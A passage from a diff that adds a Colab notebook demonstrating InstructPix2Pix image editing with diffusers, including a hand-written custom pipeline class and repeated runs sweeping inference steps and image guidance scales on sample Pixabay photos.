+        "outputId": "c0558f66-35ea-4a3e-f698-93d94894631c"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 444
+        },
+        "id": "oIzmKWERckbG",
+        "outputId": "2470148e-11be-4a08-c685-bb9eb5cf7f82"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+        "image = download_image(url)\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473,
+          "referenced_widgets": [
+            "3593ebaab56e4bca9706c5775ae87b75",
+            "dc8d5cf759be4ab08d801e1d4758b34a",
+            "ef3472cacb4d426cbacec25777507432",
+            "d5a6cb28917b48d4910903e016319aec",
+            "ba1422edddc447b78ba7fbf4ba11e364",
+            "8bb4488a1c1c4defafb072afa695918f",
+            "2dc8bda3ec0046b09c6422b5248f1312",
+            "50569e1467f7411e862553111c97afb3",
+            "72effdc24eb84648b6838729c11fed72",
+            "ecc2c348430c471791a449784f5df44c",
+            "dd94c326988a41cd8b57f4dd9a26f499"
+          ]
+        },
+        "id": "p2rDwOJ2cken",
+        "outputId": "4ba88e9a-9da1-4ad4-9f76-ee8bddd3e85e"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"turn the bird to red\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 445
+        },
+        "id": "Ka85jznIggXl",
+        "outputId": "9e11a102-9fb1-49ab-e6e6-5bc69740af5e"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg/"\n",
+        "image = download_image(url)\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473,
+          "referenced_widgets": [
+            "c3514684a02e496a875cb8fa0e86b449",
+            "0ace66c377a14034a594774ec024e074",
+            "865a15f101944359bbf30226e4cc1c90",
+            "5caac903dab34c119294cd4bfb65725c",
+            "cf013b91c09f493b94c050f224449336",
+            "9d28ea1de5494de5b911c1f120185b7a",
+            "9887290953b6414eacb4396a5b240a2e",
+            "5a00f85a6e9e44fcaa25dd0d982f2d0f",
+            "14a49cf00e9744dc8f2ac8ec3f19c90c",
+            "eed1d1e67a1d4a20ba49586148ca5a2a",
+            "147c95feace0447ca58cc4079cb2cbe5"
+          ]
+        },
+        "id": "HQ6tutGNggZf",
+        "outputId": "f84857ef-4a50-4305-dfd7-05840d893ae2"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"turn the suitcase yellow\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "mXejIqrcggbu"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "CgINC4vJggfD"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "mPGPiJhXcsr4"
+      },
+      "source": [
+        "# Custom implementation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "5aBPcPxqePIB"
+      },
+      "outputs": [],
+      "source": [
+        "from tqdm import tqdm\n",
+        "from torch import autocast"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "F2gPSPPyZP0_"
+      },
+      "outputs": [],
+      "source": [
+        "class InstructPix2PixPipelineCustom:\n",
+        "    \"\"\"custom implementation of the InstructPix2Pix Pipeline\"\"\"\n",
+        "\n",
+        "    def __init__(self,\n",
+        "                 vae,\n",
+        "                 tokenizer,\n",
+        "                 text_encoder,\n",
+        "                 unet,\n",
+        "                 scheduler,\n",
+        "                 image_processor):\n",
+        "\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.scheduler = scheduler\n",
+        "        self.image_processor = image_processor\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_text_embeds(self, text):\n",
+        "        \"\"\"returns embeddings for the given `text`\"\"\"\n",
+        "\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text,\n",
+        "                                    padding='max_length',\n",
+        "                                    max_length=tokenizer.model_max_length,\n",
+        "                                    truncation=True,\n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "        return text_embeds\n",
+        "\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt, prompt_negative=None):\n",
+        "        \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "\n",
+        "        if prompt_negative is None:\n",
+        "            prompt_negative = ['']\n",
+        "        elif isinstance(prompt_negative, str):\n",
+        "            prompt_negative = [prompt_negative]\n",
+        "\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds(prompt_negative)\n",
+        "\n",
+        "        # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice\n",
+        "        # this is different from other diffusion pipelines\n",
+        "        prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "\n",
+        "    def transform_image(self, image):\n",
+        "        \"\"\"transform image from pytorch tensor to PIL format\"\"\"\n",
+        "        image = self.image_processor.postprocess(image, output_type='pil')\n",
+        "        return image\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_image_latents(self, image):\n",
+        "        \"\"\"get image latents to be used with classifier free guidance\"\"\"\n",
+        "\n",
+        "        # get conditional image embeds\n",
+        "        image = image.to(self.device)\n",
+        "        image_latents_cond = self.vae.encode(image).latent_dist.mode()\n",
+        "\n",
+        "        # get unconditional image embeds\n",
+        "        image_latents_uncond = torch.zeros_like(image_latents_cond)\n",
+        "        image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond])\n",
+        "\n",
+        "        return image_latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n",
+        "        \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n",
+        "\n",
+        "        image_latents = torch.randn((batch_size, num_channels_latents, height, width))\n",
+        "        image_latents = image_latents.to(self.device)\n",
+        "\n",
+        "        # scale the initial noise by the standard deviation required by the scheduler\n",
+        "        image_latents = image_latents * self.scheduler.init_noise_sigma\n",
+        "        return image_latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def denoise_latents(self,\n",
+        "                        prompt_embeds,\n",
+        "                        image_latents,\n",
+        "                        timesteps,\n",
+        "                        latents,\n",
+        "                        guidance_scale,\n",
+        "                        image_guidance_scale):\n",
+        "        \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by image_latents\"\"\"\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(timesteps)):\n",
+        "                # duplicate image latents *thrice* to do classifier free guidance\n",
+        "                latent_model_input = torch.cat([latents] * 3)\n",
+        "                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n",
+        "\n",
+        "                latent_model_input = torch.cat([latent_model_input, image_latents], dim=1)\n",
+        "\n",
+        "\n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t,\n",
+        "                        encoder_hidden_states=prompt_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions into conditional (on text), conditional (on image) and unconditional outputs\n",
+        "                noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3)\n",
+        "                # perform guidance\n",
+        "                noise_pred = (\n",
+        "                    noise_pred_uncond\n",
+        "                    + guidance_scale * (noise_pred_text - noise_pred_image)\n",
+        "                    + image_guidance_scale * (noise_pred_image - noise_pred_uncond)\n",
+        "                    )\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+        "\n",
+        "        return latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def __call__(self,\n",
+        "                 prompt,\n",
+        "                 image,\n",
+        "                 prompt_negative=None,\n",
+        "                 num_inference_steps=20,\n",
+        "                 guidance_scale=7.5,\n",
+        "                 image_guidance_scale=1.5):\n",
+        "        \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n",
+        "\n",
+        "        # encode input prompt\n",
+        "        prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative)\n",
+        "\n",
+        "        # preprocess image\n",
+        "        image = self.image_processor.preprocess(image)\n",
+        "\n",
+        "        # prepare image latents\n",
+        "        image = image.half()\n",
+        "        image_latents = self.get_image_latents(image)\n",
+        "\n",
+        "        # prepare timesteps\n",
+        "        self.scheduler.set_timesteps(num_inference_steps)\n",
+        "        timesteps = self.scheduler.timesteps\n",
+        "\n",
+        "        height_latents, width_latents = image_latents.shape[-2:]\n",
+        "\n",
+        "        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n",
+        "        num_channels_latents = self.vae.config.latent_channels\n",
+        "        batch_size = prompt_embeds.shape[0] // 2\n",
+        "        latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size)\n",
+        "\n",
+        "        # denoise latents\n",
+        "        latents = self.denoise_latents(prompt_embeds,\n",
+        "                                       image_latents,\n",
+        "                                       timesteps,\n",
+        "                                       latents,\n",
+        "                                       guidance_scale,\n",
+        "                                       image_guidance_scale)\n",
+        "\n",
+        "        # decode latents to get the image into pixel space\n",
+        "        latents = latents.to(torch.float16) # change dtype of latents since\n",
+        "        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n",
+        "\n",
+        "        # convert to PIL Image format\n",
+        "        image = image.detach() # detach to remove any computed gradients\n",
+        "        image = self.transform_image(image)\n",
+        "\n",
+        "        return image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "itugpKfQZP3S"
+      },
+      "outputs": [],
+      "source": [
+        "# We can get all the components from the InstructPix2Pix Pipeline\n",
+        "vae = pipe.vae\n",
+        "tokenizer = pipe.tokenizer\n",
+        "text_encoder = pipe.text_encoder\n",
+        "unet = pipe.unet\n",
+        "scheduler = pipe.scheduler\n",
+        "image_processor = pipe.image_processor"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Z4mM2_z_ZP5f"
+      },
+      "outputs": [],
+      "source": [
+        "custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 657
+        },
+        "id": "NjkhgTz0mIPi",
+        "outputId": "56a214f8-02c5-4157-8648-6165bd4f2ec7"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n",
+        "image = download_image(url)\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 674
+        },
+        "id": "pcG55mdtZP8N",
+        "outputId": "8c91332c-2b17-49b5-c3aa-416b141a035e"
+      },
+      "outputs": [],
+      "source": [
+        "# sample image 1\n",
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 657
+        },
+        "id": "l0m6vIq4ZP-K",
+        "outputId": "a97e7c0d-22a5-490a-c476-22d27aebd76a"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg/"\n",
+        "image = download_image(url)\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 674
+        },
+        "id": "3eDhpvlHZQAo",
+        "outputId": "4d93878c-1a89-44ff-a823-4f8ca97c5e88"
+      },
+      "outputs": [],
+      "source": [
+        "# sample image 2\n",
+        "prompt = \"turn into 8k anime\"\n",
+        "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "6rAfgSFK3s-B"
+      },
+      "source": [
+        "# Limitations"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 674
+        },
+        "id": "hKs8yic0RQFi",
+        "outputId": "68fd4162-3c98-488c-d3b1-164efbdc80ad"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"turn entire pic into anime frame\"\n",
+        "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n",
+        "images_custom[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "61YH9qpyRXiQ"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "OU9zLHTR2H_j"
+      },
+      "source": [
+        "# Rough\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "b1ac65dd59c94a269c3660d4ebd8fa16",
+            "76732cd3aa5745058c70bb1aa44b1667",
+            "09bc80852b334a6f9905c6d93eada57c",
+            "c1ee4f8f667743ed94a939a9fe749e39",
+            "ff7c3d43d89a40a9941f2b9baf8e9fd9",
+            "1494c31d3d114a13a3ebbe85df2316ba",
+            "9604b8f7a8ef4fa6b488ee1892e138d2",
+            "7bcb49396cf84ea6878d5ceddd480326",
+            "8c8b4b87df9242318f1ceaf5fc00b216",
+            "25c92f3c188e4009ba806c6d56cc66c4",
+            "1da8ad0bdb2547cdb4edc5bc5df7a8ea"
+          ]
+        },
+        "id": "i5lucCESjxyr",
+        "outputId": "19b61940-802c-4e44-a2b2-c63ffba8faa6"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "6d22121bbb6f4bcaa1b5f355d0f2e8a1",
+            "ed4320b4d8284ead91830c0b11b9bc56",
+            "1fe983e43b7f4bca905a65b07eef5491",
+            "6a234c3c85734a2cae1348a3329bb659",
+            "d3415f46386c49ce9593585d421657fa",
+            "f25cbe3e352d44c9849191bbb8e9d4d9",
+            "3bffddd95fdf4e3c896e1554a239273a",
+            "e92d28da4f314f73b4c4cccde114f1f4",
+            "f7728f9c5b0f4f4ca084119f74e9dcaf",
+            "b77a65348afa4b6aae8540dd5d9e4d2c",
+            "960b8d20472f40078fc9566abc065cc1"
+          ]
+        },
+        "id": "LCMg5TPOjP30",
+        "outputId": "e2405a06-116a-411b-ad80-0b8afa5f5bef"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=2).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "16063a5dd86649f2b7f37184c7ac0593",
+            "fb156e0150e24ec9a367a1e26c4750ec",
+            "925594a07eba4bdc92e59ef1df5ea63e",
+            "d5228dfbe50b4d078996b74d1b71ba28",
+            "6daa2b5b26e4459aa5bdebd0062cf021",
+            "740417603bd94bf698fdba5b374d7c3a",
+            "2ddf4013353e48b9a62c70e2eb68502e",
+            "e25cb8e08bae4c56a84874cf31cd84c4",
+            "92d4de954f0442778144c26caae5ee83",
+            "6b04b7bfcca645368b1287a3467bc3a1",
+            "4e8ec740f2ba45d1817c46b449e34423"
+          ]
+        },
+        "id": "-nR6LrUMjP7U",
+        "outputId": "f6c19181-afaa-47a0-a950-a6b0a740ca81"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "1b448e7eb7c842c2ad3598e401c5a101",
+            "b25958353ffe4063bf8d09ed149c2550",
+            "e25496021c9f4046bb83f585601baaf4",
+            "69484df819aa44b3858b76432cc84beb",
+            "f6ecc0d4fe1545d8bd0a16de5960285b",
+            "b5c2efd1f5044b68bfb75d5fe16d7829",
+            "48faccb381254cd99a649c239a419649",
+            "48b23ac8e7ce46239504712135b41444",
+            "6f520ae078104d70945b5d42ded1a75a",
+            "a726d364296442e196e973e575578c30",
+            "94b5651c5cd14901ac59ce22bb80fcfa"
+          ]
+        },
+        "id": "LUXIW3bkjW3R",
+        "outputId": "aab0ef83-9119-461c-81e5-4c65d2285595"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "05328f40cf5642359294af84f26355c3",
+            "792bda382a844c8a9bd9c9de789b44ac",
+            "db498aee51494067b6ad507e47f37bd4",
+            "2b7aaec231e244b1899f99e893b053df",
+            "3c3af60f4f07476c8700910b4259a066",
+            "1bbd2bbca0c04df982278b7c24c8c320",
+            "ee190ee62fb24dacb96d9b57e562c3b9",
+            "ce20d1f9a55a42518c521eb5a1c8b414",
+            "f019b7a1faf1469c87b048319a9b71ef",
+            "4afa3f9ee15546c1979113f0e618efcf",
+            "fa37cd2e2ac94455ab624a75eb0a105d"
+          ]
+        },
+        "id": "fux7MnDwjW5h",
+        "outputId": "25cadb9d-9e09-4af1-c49c-7405517bc380"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "0711e6b0af7e4905a8136cf407e2ae8b",
+            "901f71e702474e77be59006bba599918",
+            "1d10557816514c4bb08d957fdde13904",
+            "3bfe8491fdc84726a9a2ea2a9eb33884",
+            "c4f63d6416174604a065f2dc2b8775a7",
+            "e82bcca350364e229895710e7d145fbf",
+            "be553a7df92e48b687fc177f7ba3c5fd",
+            "9dc480c24e9844599de9f1e5e3638f33",
+            "dffb565d8879412ba6c9989b02cbe661",
+            "7be8f4522cdc41f08c69b4a36520eb5a",
+            "ebfab18cc7484b71bb252d4e242e3b40"
+          ]
+        },
+        "id": "8_cahN3NjW8y",
+        "outputId": "dea98f5f-1d7c-45e7-bf5c-cae01347e182"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "f001e880d8f3453a9395eb78329dbbc7",
+            "8b41d5c904a942a0bcee642499015089",
+            "84df3286d6044ab5aa6e8cb6c8d1b813",
+            "e0448b4988f643dd9f12e4fca280dbee",
+            "f259a8f8222c41eea77498acd6d4e4aa",
+            "7cfb6d760505428e9ffc07fe0fbca962",
+            "a66a0a813bc24011a91f56778e88244e",
+            "39a24d7b46f2428597c345b1d0ac8680",
+            "f48ce6b6925b4b058f8679d73c039ac8",
+            "75327980774b4419a9ec50f97a0c1d75",
+            "7adf45fac6804cbcbbe5d7c6cbdfd878"
+          ]
+        },
+        "id": "A0vo9G6QjjMu",
+        "outputId": "16526be0-4602-4ede-9b02-a63b322f3866"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "12300224bc654d47b7dd02e04835203a",
+            "dafd2b93bc6245a88e6631f306fc1e9b",
+            "59514b4f9b8f4930a1b07aad4ab19d25",
+            "c25bc0fc44214d9f8a5f4abba43eaf09",
+            "f76d97ab2a6e46d5891af7fc0c3f511b",
+            "f38555fda53a4edf92271a97db3f7dd5",
+            "8f135d6a55484caf92a325c375e16005",
+            "932741fa7e674b6595866eecaf746bc9",
+            "eb2855fb57d64857ab32fafd3a77b457",
+            "f40c98061f2946b1885193ee817c52a3",
+            "9a91880b909e4b05bf668c410f978ca2"
+          ]
+        },
+        "id": "NhlQaACLjjO4",
+        "outputId": "939a5324-7595-434f-a4bc-2b53af54a0a4"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "e416557198234698affa1b9410fa0967",
+            "cc1d355b4f6440fab9de50ccc5a268b8",
+            "9dec2df865ed4e8399c511f504e460f7",
+            "0439a988a2834c379b037e5faba17290",
+            "c0bb5873a4ca4462a28773a269a6c551",
+            "4e3739037f2b44d2bd1ecaa20b29d70c",
+            "79b4c9681b0d496ab86f77b6b4902ad6",
+            "04835e754bc84aa392f824e387a8b205",
+            "dffbab23b4c34df9b6f9e8ff6c1a1912",
+            "3f2fee0c35144daf8234caf57ad3907e",
+            "f0ad1221f0f84ac085df2315bd00d572"
+          ]
+        },
+        "id": "TBNS9bghjjRd",
+        "outputId": "bd9c97e8-fb45-4dac-d8ff-9a2f95bc74fc"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "ec6d2dd0f61e42478903c839bc3395ec",
+            "96127d57c04f45fd91dab7aa30607e63",
+            "a109094931b742ee9f4376e54d62660c",
+            "851980277e5e486a9962a2e7607be100",
+            "3d4c455dc8344c7b8b42a609322713e8",
+            "bc2730d310454290aedf3e63087213f5",
+            "ec3c6adaf7ed44469ac0a58490dd5159",
+            "2c4ab41623ca4ce3961c8a105536ecdf",
+            "36cb537e89324f54b767df1e24045108",
+            "0220a92b3977434dab97c2329e9f5013",
+            "c65c5e6845254d47b6b0370b306b9eef"
+          ]
+        },
+        "id": "nSuYvr5kjjU4",
+        "outputId": "1774887b-ec10-43e1-b31c-b014ba67d6a5"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "c2c64d6095704db88ec2210ae3cbfb35",
+            "94b45bc6f5e24cf3aa16f431bc7ed58a",
+            "3f197b982242418bb24f4156db991c19",
+            "a9d50ec01c8045af902bf580e92ab30c",
+            "ddebad755dce4da8887eb7f3d4dd49ba",
+            "1855195ecd9a4ba993c2a4e298d21a44",
+            "03098089aa0d4e879c1f50cce8384a4e",
+            "56310a7fb0804b43a60815c858d910c5",
+            "a401d37863744fd58fe863b27d6a562b",
+            "92d0bc42d43c46b2a720ee96e7353232",
+            "641c3e365227455c87baeb3597c44cde"
+          ]
+        },
+        "id": "xUt10Q-xk8hQ",
+        "outputId": "568f516a-0675-4bbe-d51c-b2bffa6a6277"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "50b52602c923405eb91d1a4a7af8b5c5",
+            "9c621a99b504459590a39098afbe5d50",
+            "50207c4a7c9d439896796dd407c1c3da",
+            "bd4b11f4948c40fb8101049fa3754dde",
+            "041e8d74b5744f908e37407f4cdece4e",
+            "5c825455d85948b99f86b3495de63b29",
+            "516f366ed73b4ed0991a6a91fb22a3d8",
+            "e67431e7efe24016bcf04dfbcffc776e",
+            "e23ebecc8f5f4598a991da021d78ddd2",
+            "5189fa18ab144b5a93124e0b555d5677",
+            "43ac63628b35419cb9db5d234951e84f"
+          ]
+        },
+        "id": "9TlXJNevk8jq",
+        "outputId": "a3d5effc-8c54-49bc-baab-305daa9a2621"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "abeaf2b96435442589d217ce731feaf4",
+            "c2b0ede066bf405593c66384d9548613",
+            "c3a851883eba4e11b70c705a5fae3ee2",
+            "c0c76cb4f1a04bfe86598e0e0dbffe23",
+            "bbac2ab035374103b2c4912aeda2e425",
+            "e11583de8d894d3da80ef3bb1fe52e08",
+            "48e9b5493b8f4191b9707df7c83b0f50",
+            "6f03e27712e84cc49ad1a665c7537f12",
+            "f3d1f71549674156b493e3771784ec68",
+            "39e7952fd2c34271a44ca997250a313c",
+            "4dc4d2c609eb40eaa6df50be567b2c61"
+          ]
+        },
+        "id": "WRjTQNtkk8nE",
+        "outputId": "5c056095-0dea-483e-b632-18751f6c3267"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"convert the lady into a highly detailed marble statue\"\n",
+        "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images\n",
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 689,
+          "referenced_widgets": [
+            "330eb2500161464db0d797d2f04e550f",
+            "8e7b4587729f4fe597e2342b9e8c5b06",
+            "c4d2925dd1dd40bab2b22f09bf9497e6",
+            "55470891a5ad41f2b04d3d5c86c1c934",
+            "0afcffbca4c1462ba2bc1d3cd1aa2c13",
+            "91f6c95c7ded4ca0a5fbf7d2f5b8eb67",
+            "4dc511c396c5492c8d707ba52783edcb",
+            "8ce35b01fc9a4b6fbdd650491a58f188",
+            "18885db0114b49ee8eeb0af098b9a8c9",
